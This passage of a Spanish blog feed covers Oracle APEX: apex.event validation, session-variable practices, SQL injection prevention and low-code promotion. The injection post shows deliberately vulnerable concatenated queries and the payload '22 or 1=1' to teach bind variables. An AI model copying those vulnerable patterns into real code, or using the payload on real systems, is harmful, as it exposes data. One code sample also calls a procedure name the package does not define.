<li><p><strong>Evitar frustraciones del usuario:</strong> Al deshabilitar un botón o mostrar alertas inmediatamente cuando el usuario comete un error, se reducen los errores y frustraciones.</p>
</li>
<li><p><strong>Experiencia personalizada:</strong> Permite realizar validaciones de manera progresiva, dando al usuario una experiencia más amigable y menos intrusiva que una validación al enviar el formulario.</p>
</li>
</ul>
<h3 id="heading-3-validacion-en-el-lado-del-cliente"><strong>3. Validación en el Lado del Cliente</strong></h3>
<p>Aunque el atributo required en APEX y HTML5 es útil, tiene limitaciones:</p>
<ul>
<li><p><strong>Validación más sencilla:</strong> La validación required solo asegura que un campo no esté vacío, pero no permite manejar condiciones complejas o lógicas personalizadas (como verificar que un correo electrónico tenga un formato correcto o que un botón se habilite solo bajo ciertas condiciones).</p>
</li>
<li><p><strong>Falta de retroalimentación dinámica:</strong> Con apex.event, puedes proporcionar retroalimentación instantánea (como habilitar/deshabilitar botones, mostrar mensajes de error específicos, etc.) sin tener que esperar hasta que el formulario se envíe. Esto hace que el proceso de validación sea más interactivo y flexible.</p>
</li>
</ul>
<h3 id="heading-4-manejo-de-eventos-y-accion-controlada"><strong>4. Manejo de Eventos y Acción Controlada</strong></h3>
<p>La ventaja de usar apex.event en lugar de JavaScript estándar es que puedes manejar eventos y ejecutarlos de manera controlada y estructurada dentro de la aplicación APEX. Algunas de las razones:</p>
<ul>
<li><p><strong>Manejo centralizado de eventos:</strong> Si tienes múltiples interacciones o validaciones para varios elementos en tu aplicación, puedes centralizar la gestión de eventos, evitando el desorden que podría generar el uso de JavaScript disperso.</p>
</li>
<li><p><strong>Código más limpio y menos repetitivo:</strong> Usar apex.event puede hacer que tu código sea más limpio, ya que puedes reutilizar funciones y eventos sin tener que escribir código extra para gestionar los elementos de la página directamente.</p>
</li>
<li><p><strong>Acciones relacionadas con la interfaz de usuario:</strong> Usar apex.event permite controlar la interfaz de usuario de manera más precisa, como controlar el estado de los botones de manera sincronizada con el estado de los campos de entrada.</p>
</li>
</ul>
<h3 id="heading-5-mejor-mantenibilidad-y-escalabilidad"><strong>5. Mejor Mantenibilidad y Escalabilidad</strong></h3>
<p>Si tu aplicación crece, gestionar eventos y validaciones solo con JavaScript puede volverse caótico. Usar apex.event tiene beneficios a largo plazo:</p>
<ul>
<li><p><strong>Menos código repetido:</strong> Puedes escribir código modular, que se puede reutilizar para múltiples formularios y componentes sin tener que crear funciones o gestionar eventos repetidamente.</p>
</li>
<li><p><strong>Fácil adaptación a cambios futuros:</strong> Si alguna parte de la validación o la lógica del formulario cambia, hacer ajustes es más sencillo utilizando apex.event, ya que las modificaciones son más localizadas y centradas en el marco de APEX.</p>
</li>
</ul>
<h3 id="heading-6-compatibilidad-con-apex-dynamic-actions"><strong>6. Compatibilidad con APEX Dynamic Actions</strong></h3>
<p>Oracle APEX se basa fuertemente en "Dynamic Actions" para manejar eventos en sus formularios. apex.event se integra perfectamente con estas acciones dinámicas, permitiéndote manejar eventos como el cambio de un valor en un Select List o la selección de un checkbox de manera más coherente con el entorno de APEX.</p>
<h2 id="heading-conclusion">🎯 Conclusión</h2>
<p>El uso de apex.event en Oracle APEX permite mejorar la usabilidad y prevenir errores comunes:</p>
<p>✅ Evitar formularios incompletos.<br />✅ Prevenir la pérdida de datos.<br />✅ Controlar cuándo se pueden ejecutar ciertas acciones.<br />✅ Mejorar la interacción y retroalimentación con el usuario de manera dinámica.</p>
<p>📌 ¿Que te parecio alguno de estos casos? ¿Lo implementarias en tu proyecto? ¡Déjamelo en los comentarios! 🚀</p>
]]></content:encoded></item><item><title><![CDATA[Buenas Prácticas para el Uso de Variables de Sesión en Oracle APEX]]></title><description><![CDATA[Cuando desarrollamos aplicaciones en Oracle APEX, es común trabajar con variables de sesión para manejar datos temporales como identificadores de usuario, roles, configuraciones y otros valores específicos de una sesión. Aunque el uso directo de esta...]]></description><link>https://www.paraguayandev.com/buenas-practicas-para-el-uso-de-variables-de-sesion-en-oracle-apex</link><guid isPermaLink="true">https://www.paraguayandev.com/buenas-practicas-para-el-uso-de-variables-de-sesion-en-oracle-apex</guid><category><![CDATA[Apex]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[Session]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Sat, 11 Jan 2025 19:51:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1736625035353/00ba725d-fa5c-4ddf-ba16-de843b7a67f7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cuando desarrollamos aplicaciones en Oracle APEX, es común trabajar con <strong>variables de sesión</strong> para manejar datos temporales como identificadores de usuario, roles, configuraciones y otros valores específicos de una sesión. Aunque el uso directo de estas variables mediante V('P1_VARIABLE') parece una solución sencilla, esta práctica puede generar problemas a largo plazo en términos de mantenibilidad, rendimiento y reutilización del código. En este artículo, exploraremos por qué evitar este enfoque y cómo implementar soluciones más robustas y escalables.</p>
<h2 id="heading-problemas-del-uso-directo-de-vp1variable">Problemas del Uso Directo de V('P1_VARIABLE')</h2>
<h3 id="heading-1-dependencia-del-contexto-de-pagina">1. <strong>Dependencia del Contexto de Página</strong></h3>
<p>El uso de V('P1_VARIABLE') crea una fuerte dependencia entre tu código y una página específica de APEX. Esto significa que cualquier cambio en el nombre de la variable, su ubicación o el diseño de la página podría romper el código asociado. Por ejemplo:</p>
<ul>
<li><p>Si decides mover la variable de P1_VARIABLE a otra página o cambiar su nombre a P2_VARIABLE, tendrás que buscar y modificar todas las referencias a esa variable en tu código.</p>
</li>
<li><p>Esto incrementa el riesgo de errores, especialmente en aplicaciones grandes con cientos de páginas y código distribuido.</p>
</li>
</ul>
<p>Dependencias de este tipo también hacen que la aplicación sea menos flexible y dificultan su evolución.</p>
<p><strong>Fuente:</strong> <a target="_blank" href="https://docs.oracle.com/en/database/oracle/application-express/">Documentación oficial de Oracle APEX</a></p>
<h3 id="heading-2-codigo-dificil-de-reutilizar">2. <strong>Código Difícil de Reutilizar</strong></h3>
<p>Cuando accedes directamente a V('P1_VARIABLE'), tu código queda estrechamente vinculado al contexto de una página específica. Esto genera las siguientes limitaciones:</p>
<ul>
<li><p><strong>Imposibilidad de reutilización en otros paquetes</strong>: Si quieres usar la misma lógica en otro paquete o módulo de tu aplicación, tendrás que replicar el código o adaptarlo, lo que incrementa la duplicación y el riesgo de inconsistencias.</p>
</li>
<li><p><strong>Dificultad para migrar código</strong>: Si decides mover lógica de negocio a la base de datos (PL/SQL) o a otro sistema, el acceso directo a variables de sesión APEX no funcionará.</p>
</li>
</ul>
<p>Un ejemplo claro de este problema ocurre cuando desarrollas APIs o procedimientos almacenados que podrían ser usados desde otros entornos, como integraciones con aplicaciones externas.</p>
<p><strong>Fuente:</strong> "Oracle PL/SQL Programming" de Steven Feuerstein</p>
<h3 id="heading-3-impacto-en-el-rendimiento">3. <strong>Impacto en el Rendimiento</strong></h3>
<p>Cada vez que llamas a V('P1_VARIABLE'), APEX realiza una operación interna para leer el estado de sesión almacenado. Aunque estas operaciones suelen ser rápidas, pueden acumularse y degradar el rendimiento si se usan repetidamente, especialmente en procesos intensivos o bucles. Por ejemplo:</p>
<ul>
<li><p>Si tienes un proceso que llama a V('P1_VARIABLE') 100 veces dentro de un bucle, estarás generando 100 accesos al estado de sesión.</p>
</li>
<li><p>Esto podría evitarse almacenando el valor en una variable local o en una estructura de datos más eficiente.</p>
</li>
</ul>
<h3 id="heading-4-falta-de-abstraccion">4. <strong>Falta de Abstracción</strong></h3>
<p>El uso directo de V('P1_VARIABLE') mezcla la lógica de negocio con la capa de presentación. Esto viola el principio de separación de responsabilidades, lo que hace que:</p>
<ul>
<li><p>Sea difícil modificar la lógica de negocio sin afectar la interfaz de usuario.</p>
</li>
<li><p>La aplicación sea más propensa a errores, ya que los cambios en el diseño de la página podrían tener impactos no previstos en el código PL/SQL.</p>
</li>
</ul>
<p><strong>Fuente:</strong> "Clean Code" de Robert C. Martin</p>
<h3 id="heading-5-dificultad-para-realizar-pruebas">5. <strong>Dificultad para Realizar Pruebas</strong></h3>
<p>El código que depende de V('P1_VARIABLE') es más complicado de probar fuera del entorno APEX. Por ejemplo:</p>
<ul>
<li><p>Las pruebas unitarias en PL/SQL requieren que simules el estado de sesión, lo cual no es sencillo sin usar herramientas o configuraciones específicas.</p>
</li>
<li><p>Esto aumenta el tiempo necesario para realizar pruebas y reduce la confiabilidad del código.</p>
</li>
</ul>
<h2 id="heading-buenas-practicas-para-manejar-variables-de-sesion">Buenas Prácticas para Manejar Variables de Sesión</h2>
<h3 id="heading-1-usar-una-funcion-de-abstraccion">1. <strong>Usar una Función de Abstracción</strong></h3>
<p>En lugar de acceder directamente a V('P1_VARIABLE'), puedes encapsular este acceso en una función dedicada. Esto centraliza la lógica y facilita el mantenimiento.</p>
<h4 id="heading-ejemplo">Ejemplo</h4>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">OR</span> <span class="hljs-keyword">REPLACE</span> <span class="hljs-keyword">FUNCTION</span> get_user <span class="hljs-keyword">RETURN</span> <span class="hljs-built_in">VARCHAR2</span> <span class="hljs-keyword">IS</span>
<span class="hljs-keyword">BEGIN</span>
   <span class="hljs-keyword">RETURN</span> NVL(V(<span class="hljs-string">'P1_USER'</span>), <span class="hljs-string">'DEFAULT_USER'</span>); 
<span class="hljs-keyword">END</span>;
/
</code></pre>
<h4 id="heading-detalles-adicionales">Detalles Adicionales</h4>
<ul>
<li><p>Puedes agregar validaciones o transformaciones dentro de la función, como verificar que el valor no sea nulo o convertirlo a un formato específico.</p>
</li>
<li><p>Si decides cambiar la fuente del valor (por ejemplo, una tabla en lugar de una variable de sesión), solo necesitas modificar la función.</p>
</li>
</ul>
<h4 id="heading-uso">Uso</h4>
<pre><code class="lang-sql"><span class="hljs-keyword">DECLARE</span>
   v_user <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">100</span>);
<span class="hljs-keyword">BEGIN</span>
   v_user := get_user;
   DBMS_OUTPUT.PUT_LINE('User ID: ' || v_user);
<span class="hljs-keyword">END</span>;
</code></pre>
<h3 id="heading-2-uso-de-variables-globales-en-un-paquete">2. <strong>Uso de Variables Globales en un Paquete</strong></h3>
<p>Si necesitas acceder al valor repetidamente en múltiples procedimientos o paquetes, considera usar una <strong>variable global</strong> dentro de un paquete PL/SQL. Esto mejora la eficiencia y la modularidad del código.</p>
<h4 id="heading-ejemplo-1">Ejemplo</h4>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">OR</span> <span class="hljs-keyword">REPLACE</span> <span class="hljs-keyword">PACKAGE</span> app_context <span class="hljs-keyword">IS</span>
   g_user <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">100</span>); <span class="hljs-comment">-- Variable global</span>
   PROCEDURE set_user(value IN VARCHAR2);
   FUNCTION get_user RETURN VARCHAR2;
<span class="hljs-keyword">END</span>;
/

<span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">OR</span> <span class="hljs-keyword">REPLACE</span> <span class="hljs-keyword">PACKAGE</span> <span class="hljs-keyword">BODY</span> app_context <span class="hljs-keyword">IS</span>
   <span class="hljs-keyword">PROCEDURE</span> set_user(<span class="hljs-keyword">value</span> <span class="hljs-keyword">IN</span> <span class="hljs-built_in">VARCHAR2</span>) <span class="hljs-keyword">IS</span>
   <span class="hljs-keyword">BEGIN</span>
      g_user := <span class="hljs-keyword">value</span>;
   <span class="hljs-keyword">END</span>;

   FUNCTION get_user RETURN VARCHAR2 IS
   <span class="hljs-keyword">BEGIN</span>
      <span class="hljs-keyword">RETURN</span> g_user;
   <span class="hljs-keyword">END</span>;
<span class="hljs-keyword">END</span>;
/
</code></pre>
<h4 id="heading-ventajas">Ventajas</h4>
<ul>
<li><p><strong>Eficiencia</strong>: La variable permanece en memoria durante la sesión del usuario, evitando accesos repetitivos al estado de sesión.</p>
</li>
<li><p><strong>Encapsulación</strong>: La variable está protegida dentro del paquete, lo que reduce el riesgo de interferencias externas.</p>
</li>
</ul>
<h4 id="heading-uso-1">Uso</h4>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
   app_context.set_user_id(V(<span class="hljs-string">'P1_USER'</span>));
   DBMS_OUTPUT.PUT_LINE(app_context.get_user);
<span class="hljs-keyword">END</span>;
</code></pre>
<p>Puedes también extender el paquete para manejar múltiples variables de sesión, utilizando un mecanismo de clave-valor en memoria.</p>
<h3 id="heading-3-uso-de-dbmssession-para-variables-de-sesion-persistentes">3. <strong>Uso de</strong> DBMS_SESSION para Variables de Sesión Persistentes</h3>
<p>Si necesitas que el valor esté disponible globalmente durante toda la sesión del usuario, incluso fuera del paquete, puedes usar DBMS_SESSION.SET_CONTEXT.</p>
<h4 id="heading-ejemplo-2">Ejemplo</h4>
<ol>
<li><strong>Configurar el Contexto</strong></li>
</ol>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
   DBMS_SESSION.SET_CONTEXT(<span class="hljs-string">'MY_NAMESPACE'</span>, <span class="hljs-string">'USER'</span>, V(<span class="hljs-string">'P1_USER'</span>));
<span class="hljs-keyword">END</span>;
</code></pre>
<ol start="2">
<li><strong>Acceder al Contexto</strong></li>
</ol>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> SYS_CONTEXT(<span class="hljs-string">'MY_NAMESPACE'</span>, <span class="hljs-string">'USER'</span>) <span class="hljs-keyword">INTO</span> v_user <span class="hljs-keyword">FROM</span> DUAL;
</code></pre>
<h4 id="heading-detalles-adicionales-1">Detalles Adicionales</h4>
<ul>
<li><p>Puedes definir un <strong>namespace</strong> específico para organizar mejor las variables de sesión.</p>
</li>
<li><p>Este enfoque es ideal para aplicaciones con múltiples capas (APEX, APIs, PL/SQL).</p>
</li>
</ul>
<h4 id="heading-ventajas-1">Ventajas</h4>
<ul>
<li><p><strong>Persistencia</strong>: Los valores son accesibles desde cualquier lugar durante la sesión.</p>
</li>
<li><p><strong>Flexibilidad</strong>: Puedes usar el contexto tanto en consultas SQL como en PL/SQL.</p>
</li>
</ul>
<h2 id="heading-cuando-usar-vp1variable-directamente">Cuándo Usar V('P1_VARIABLE') Directamente</h2>
<p>Aunque no es ideal, hay casos donde usar V('P1_VARIABLE') puede ser aceptable:</p>
<ul>
<li><p>El código es simple y está limitado a una página específica.</p>
</li>
<li><p>No planeas reutilizar el código en otros contextos o aplicaciones.</p>
</li>
<li><p>La variable no se utiliza repetidamente en procesos intensivos.</p>
</li>
</ul>
<p>En cualquier otro caso, es preferible adoptar estrategias que separen la lógica de negocio del entorno APEX.</p>
<h2 id="heading-conclusion">Conclusión</h2>
<p>El uso directo de V('P1_VARIABLE') puede ser tentador, pero a menudo conduce a problemas de mantenimiento y escalabilidad en aplicaciones Oracle APEX. Adoptar estrategias como funciones de abstracción, variables globales o el uso de DBMS_SESSION mejora la modularidad, el rendimiento y la capacidad de prueba de tu código.</p>
<p>¿Tienes alguna estrategia favorita para manejar variables de sesión? ¡Compártela en los comentarios!</p>
]]></content:encoded></item><item><title><![CDATA[Buenas Prácticas de Seguridad en Oracle APEX: Evita la Inyección SQL]]></title><description><![CDATA[La inyección SQL es una de las vulnerabilidades más comunes y peligrosas en aplicaciones web. En el caso de Oracle APEX (Application Express), aunque la plataforma ofrece protecciones integradas, también es posible que los desarrolladores introduzcan...]]></description><link>https://www.paraguayandev.com/buenas-practicas-de-seguridad-en-oracle-apex-evita-la-inyeccion-sql</link><guid isPermaLink="true">https://www.paraguayandev.com/buenas-practicas-de-seguridad-en-oracle-apex-evita-la-inyeccion-sql</guid><category><![CDATA[Apex]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[SQL]]></category><category><![CDATA[injection attacks]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Sat, 21 Dec 2024 22:46:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734821050216/e0971c22-282f-42ec-8405-f181155db324.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>La inyección SQL es una de las vulnerabilidades más comunes y peligrosas en aplicaciones web. En el caso de Oracle APEX (Application Express), aunque la plataforma ofrece protecciones integradas, también es posible que los desarrolladores introduzcan vulnerabilidades si no siguen las mejores prácticas.</p>
<p>En este artículo, exploraremos qué es la inyección SQL, cómo ocurre en Oracle APEX y, lo más importante, cómo prevenirla.</p>
<h2 id="heading-que-es-una-inyeccion-sql">¿Qué es una inyección SQL?</h2>
<p>La inyección SQL ocurre cuando un atacante manipula una entrada de usuario para alterar una consulta SQL. Esto puede permitirles acceder a datos confidenciales, modificar información o incluso tomar el control de la base de datos.</p>
<p>Ejemplo de un procedimiento con una consulta vulnerable:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
<span class="hljs-keyword">IF</span> APEX_COLLECTION.COLLECTION_EXISTS(<span class="hljs-string">'cole_arti'</span>) <span class="hljs-keyword">THEN</span>
        <span class="hljs-comment">-- Eliminar la colección existente para evitar errores</span>
        APEX_COLLECTION.DELETE_COLLECTION(<span class="hljs-string">'cole_arti'</span>);
    <span class="hljs-keyword">END</span> <span class="hljs-keyword">IF</span>;
    APEX_COLLECTION.CREATE_COLLECTION_FROM_QUERY_B(
        p_collection_name =&gt; 'cole_arti',
        p_query           =&gt; '<span class="hljs-keyword">SELECT</span> CLAVE, NOMBRE, <span class="hljs-keyword">DESCR</span> 
                               <span class="hljs-keyword">FROM</span> articulo 
                               <span class="hljs-keyword">WHERE</span> CLAVE =<span class="hljs-string">'|| :P17_ARTICULO
    );
END;</span>
</code></pre>
<p>Si el valor de P17_ARTICULO no está validado, un atacante podría enviar algo como:</p>
<pre><code class="lang-sql">22 or 1=1
</code></pre>
<p>Esto transformaría la consulta en:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
<span class="hljs-keyword">IF</span> APEX_COLLECTION.COLLECTION_EXISTS(<span class="hljs-string">'cole_arti'</span>) <span class="hljs-keyword">THEN</span>
        <span class="hljs-comment">-- Eliminar la colección existente para evitar errores</span>
        APEX_COLLECTION.DELETE_COLLECTION(<span class="hljs-string">'cole_arti'</span>);
    <span class="hljs-keyword">END</span> <span class="hljs-keyword">IF</span>;
    APEX_COLLECTION.CREATE_COLLECTION_FROM_QUERY_B(
        p_collection_name =&gt; 'cole_arti',
        p_query           =&gt; '<span class="hljs-keyword">SELECT</span> CLAVE, NOMBRE, <span class="hljs-keyword">DESCR</span> 
                               <span class="hljs-keyword">FROM</span> articulo 
                               <span class="hljs-keyword">WHERE</span> CLAVE =<span class="hljs-number">22</span> <span class="hljs-keyword">or</span> <span class="hljs-number">1</span>=<span class="hljs-number">1</span><span class="hljs-string">'
    );
END;</span>
</code></pre>
<p>Esta instrucción devuelve todos los registros de la tabla.</p>
<h2 id="heading-como-puede-ocurrir-en-oracle-apex">¿Cómo puede ocurrir en Oracle APEX?</h2>
<p>Aunque Oracle APEX incluye protecciones predeterminadas, como el uso de variables enlazadas en componentes generados automáticamente (reportes interactivos y formularios), los desarrolladores pueden introducir vulnerabilidades en situaciones como:</p>
<ol>
<li><p><strong>Uso de consultas SQL o PL/SQL personalizadas:</strong></p>
<ul>
<li>Si concatenas cadenas directamente en una consulta SQL dinámica, puedes permitir la inyección SQL.</li>
</ul>
</li>
</ol>
<p>    Ejemplo inseguro:</p>
<pre><code class="lang-sql">    <span class="hljs-keyword">EXECUTE</span> <span class="hljs-keyword">IMMEDIATE</span> <span class="hljs-string">'SELECT * FROM articulo WHERE clave= '</span> || i_clave;
</code></pre>
<ol start="2">
<li><p><strong>Procesos PL/SQL personalizados:</strong></p>
<ul>
<li>Crear código que no valide o escape correctamente las entradas del usuario.</li>
</ul>
</li>
<li><p><strong>Parámetros de URL no validados:</strong></p>
<ul>
<li>Si los parámetros en la URL se utilizan directamente en consultas SQL.</li>
</ul>
</li>
</ol>
<h2 id="heading-buenas-practicas-para-prevenir-la-inyeccion-sql-en-oracle-apex">Buenas prácticas para prevenir la inyección SQL en Oracle APEX</h2>
<p>A continuación, se presentan buenas prácticas que puedes implementar para evitar esta vulnerabilidad:</p>
<h3 id="heading-1-usar-variables-enlazadas">1. <strong>Usar variables enlazadas</strong></h3>
<p>Las variables enlazadas permiten que los valores del usuario sean tratados como datos, no como parte del código SQL.</p>
<p>Ejemplo seguro:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
<span class="hljs-keyword">IF</span> APEX_COLLECTION.COLLECTION_EXISTS(<span class="hljs-string">'cole_arti'</span>) <span class="hljs-keyword">THEN</span>
        <span class="hljs-comment">-- Eliminar la colección existente para evitar errores</span>
        APEX_COLLECTION.DELETE_COLLECTION(<span class="hljs-string">'cole_arti'</span>);
    <span class="hljs-keyword">END</span> <span class="hljs-keyword">IF</span>;
    APEX_COLLECTION.CREATE_COLLECTION_FROM_QUERY_B(
        p_collection_name =&gt; 'cole_arti',
        p_query           =&gt; '<span class="hljs-keyword">SELECT</span> CLAVE, NOMBRE, <span class="hljs-keyword">DESCR</span> 
                               <span class="hljs-keyword">FROM</span> articulo 
                               <span class="hljs-keyword">WHERE</span> CLAVE =:b1<span class="hljs-string">',
         p_names =&gt; apex_util.string_to_table('</span>b1<span class="hljs-string">'),
         p_values =&gt; apex_util.string_to_table(:P17_ARTICULO)
    );
END;</span>
</code></pre>
<p>En este caso, :P17_ARTICULO se trata como una variable y no como código ejecutable.</p>
<h3 id="heading-2-validar-las-entradas-del-usuario">2. <strong>Validar las entradas del usuario</strong></h3>
<p>Asegúrate de que los valores proporcionados por los usuarios cumplan con las reglas esperadas (números, fechas, rangos, etc.). Oracle APEX proporciona validaciones integradas para los elementos de las páginas.</p>
<p>Ejemplo de validación:</p>
<ul>
<li><p>Tipo de dato: Validar que un campo contenga solo números.</p>
</li>
<li><p>Longitud máxima: Restringir el tamaño de los campos.</p>
</li>
</ul>
<h3 id="heading-3-usar-el-paquete-dbmsassert">3. <strong>Usar el paquete</strong> DBMS_ASSERT</h3>
<p>El paquete DBMS_ASSERT ayuda a validar y sanitizar entradas antes de usarlas en consultas SQL.</p>
<p>Ejemplo:</p>
<pre><code class="lang-sql">l_value := DBMS_ASSERT.ENQUOTE_LITERAL(v_input);
<span class="hljs-keyword">EXECUTE</span> <span class="hljs-keyword">IMMEDIATE</span> <span class="hljs-string">'SELECT * FROM articulo WHERE clave = '</span> || l_value;
</code></pre>
<h3 id="heading-4-limitar-los-privilegios-del-esquema">4. <strong>Limitar los privilegios del esquema</strong></h3>
<p>Asegúrate de que las cuentas de base de datos utilizadas por Oracle APEX tengan solo los permisos mínimos necesarios. Esto reduce el impacto de un ataque exitoso.</p>
<h3 id="heading-5-habilitar-auditoria-y-registro">5. <strong>Habilitar auditoría y registro</strong></h3>
<p>Registra intentos sospechosos de ingreso de datos y supervisa la actividad de la base de datos. Esto te ayudará a identificar posibles ataques.</p>
<h3 id="heading-6-aprovechar-las-protecciones-integradas-de-apex">6. <strong>Aprovechar las protecciones integradas de APEX</strong></h3>
<p>Oracle APEX utiliza variables enlazadas de forma predeterminada en formularios y reportes generados. Siempre que sea posible, utiliza estos componentes en lugar de crear consultas personalizadas.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/XCD8OvtH2UY">https://youtu.be/XCD8OvtH2UY</a></div>
<p> </p>
<h2 id="heading-conclusion">Conclusión</h2>
<p>Prevenir la inyección SQL en Oracle APEX es responsabilidad del desarrollador. Aunque APEX incluye muchas medidas de seguridad predeterminadas, es crucial seguir las mejores prácticas mencionadas para evitar vulnerabilidades.</p>
<p>Con un diseño cuidadoso, validaciones estrictas y el uso de variables enlazadas, puedes garantizar que tus aplicaciones APEX sean seguras y resistentes a ataques de inyección SQL.</p>
]]></content:encoded></item><item><title><![CDATA[¿Qué es una aplicación de low code y por qué APEX lidera el camino?]]></title><description><![CDATA[En el mundo del desarrollo de software, los cambios están sucediendo más rápido que nunca. En este contexto, las plataformas de low code están revolucionando la forma en que las organizaciones desarrollan y entregan aplicaciones. Entre estas platafor...]]></description><link>https://www.paraguayandev.com/que-es-una-aplicacion-de-low-code-y-por-que-apex-lidera-el-camino</link><guid isPermaLink="true">https://www.paraguayandev.com/que-es-una-aplicacion-de-low-code-y-por-que-apex-lidera-el-camino</guid><category><![CDATA[Apex]]></category><category><![CDATA[Low Code]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Wed, 11 Dec 2024 17:41:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1733938830357/72a06982-1862-4588-a82d-8bcad2d503e2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En el mundo del desarrollo de software, los cambios están sucediendo más rápido que nunca. En este contexto, las plataformas de <strong>low code</strong> están revolucionando la forma en que las organizaciones desarrollan y entregan aplicaciones. Entre estas plataformas, <strong>Oracle APEX</strong> (Application Express) se destaca como líder, permitiendo a las empresas construir soluciones rápidas, eficientes y escalables. Pero, ¿qué es exactamente una aplicación de low code y qué hace que APEX sea tan especial?</p>
<h2 id="heading-que-es-una-aplicacion-de-low-code">¿Qué es una aplicación de low code?</h2>
<p>Las aplicaciones de low code son soluciones desarrolladas utilizando plataformas que minimizan la necesidad de programación manual. Estas herramientas ofrecen una combinación de:</p>
<ul>
<li><p><strong>Interfaces gráficas de usuario (GUI):</strong> Diseño de aplicaciones mediante arrastrar y soltar componentes.</p>
</li>
<li><p><strong>Plantillas predefinidas:</strong> Modelos de diseño y funcionalidades listas para usar.</p>
</li>
<li><p><strong>Automatización:</strong> Flujos de trabajo y procesos integrados para acelerar el desarrollo.</p>
</li>
<li><p><strong>Integración fácil:</strong> Conexiones simples con bases de datos, servicios web y otras herramientas.</p>
</li>
</ul>
<p>El enfoque de low code permite a los desarrolladores centrarse en resolver problemas empresariales en lugar de preocuparse por los detalles técnicos del código, reduciendo significativamente el tiempo y los costos asociados con el desarrollo tradicional.</p>
<h3 id="heading-beneficios-clave-del-low-code">Beneficios clave del low code</h3>
<ol>
<li><p><strong>Velocidad:</strong> Las aplicaciones se pueden construir en semanas o incluso días.</p>
</li>
<li><p><strong>Accesibilidad:</strong> Permite a los desarrolladores ciudadanos (usuarios con mínimos conocimientos técnicos) participar en el desarrollo.</p>
</li>
<li><p><strong>Escalabilidad:</strong> Las plataformas suelen estar diseñadas para crecer junto con las necesidades del negocio.</p>
</li>
<li><p><strong>Costos reducidos:</strong> Se eliminan muchas de las barreras de tiempo y recursos técnicos.</p>
</li>
</ol>
<h2 id="heading-oracle-apex-lider-en-el-desarrollo-de-low-code">Oracle APEX: Líder en el desarrollo de low code</h2>
<p><strong>Oracle APEX</strong> es una plataforma de desarrollo de aplicaciones basada en la nube y las bases de datos de Oracle. Desde su lanzamiento, ha ganado popularidad gracias a su enfoque único en la creación de aplicaciones modernas y escalables con mínimo esfuerzo de codificación.</p>
<h3 id="heading-por-que-apex-destaca-en-el-mercado">¿Por qué APEX destaca en el mercado?</h3>
<ol>
<li><p><strong>Integración nativa con Oracle Database</strong> APEX está estrechamente vinculado a la base de datos Oracle, lo que garantiza un rendimiento óptimo y un acceso directo a las funcionalidades avanzadas de las bases de datos.</p>
</li>
<li><p><strong>Desarrollo rápido y ágil</strong> Con herramientas como "Page Designer" y "Interactive Grids", los desarrolladores pueden construir interfaces de usuario completas y funcionales sin necesidad de escribir código extenso.</p>
</li>
<li><p><strong>Seguridad incorporada</strong> La plataforma incluye controles de seguridad como protección contra ataques de inyección SQL y Cross-Site Scripting (XSS), ayudando a mantener las aplicaciones seguras desde el inicio.</p>
</li>
<li><p><strong>Escalabilidad empresarial</strong> Desde aplicaciones pequeñas hasta soluciones empresariales complejas, APEX puede manejar cualquier tipo de carga, aprovechando la potencia de Oracle Cloud Infrastructure (OCI).</p>
</li>
<li><p><strong>Fomentar el autoservicio</strong> APEX permite a los usuarios finales construir sus propias aplicaciones personalizadas, lo que reduce la dependencia de los equipos de TI.</p>
</li>
</ol>
<h3 id="heading-casos-de-uso-de-oracle-apex">Casos de uso de Oracle APEX</h3>
<ul>
<li><p><strong>Paneles de información:</strong> Crear informes visuales y tableros interactivos para analizar datos en tiempo real.</p>
</li>
<li><p><strong>Gestor de tareas:</strong> Diseñar aplicaciones para el seguimiento de proyectos y flujos de trabajo.</p>
</li>
<li><p><strong>Integraciones complejas:</strong> Conectar múltiples sistemas empresariales a través de APIs y bases de datos.</p>
</li>
<li><p><strong>Aplicaciones móviles:</strong> Crear aplicaciones responsivas optimizadas para dispositivos móviles.</p>
</li>
</ul>
<h2 id="heading-apex-frente-a-otras-plataformas-de-low-code">APEX frente a otras plataformas de low code</h2>
<p>Aunque hay varias plataformas de low code en el mercado (como OutSystems, Mendix y Microsoft PowerApps), APEX destaca por:</p>
<ul>
<li><p><strong>Costo-efectividad:</strong> Incluido de manera gratuita con Oracle Database.</p>
</li>
<li><p><strong>Comunidad activa:</strong> Miles de desarrolladores y recursos en línea.</p>
</li>
<li><p><strong>Compatibilidad:</strong> Totalmente integrado con el ecosistema de Oracle.</p>
</li>
</ul>
<h2 id="heading-el-futuro-del-low-code-con-apex">El futuro del low code con APEX</h2>
<p>A medida que las organizaciones buscan formas de innovar rápidamente, las plataformas de low code seguirán ganando popularidad. Oracle APEX está bien posicionado para liderar esta tendencia gracias a su facilidad de uso, escalabilidad y compatibilidad con soluciones empresariales.</p>
<p>Si tu organización busca transformar procesos o desarrollar aplicaciones modernas en un tiempo récord, explorar Oracle APEX podría ser el paso correcto. ¡El futuro del desarrollo está aquí, y es de low code!</p>
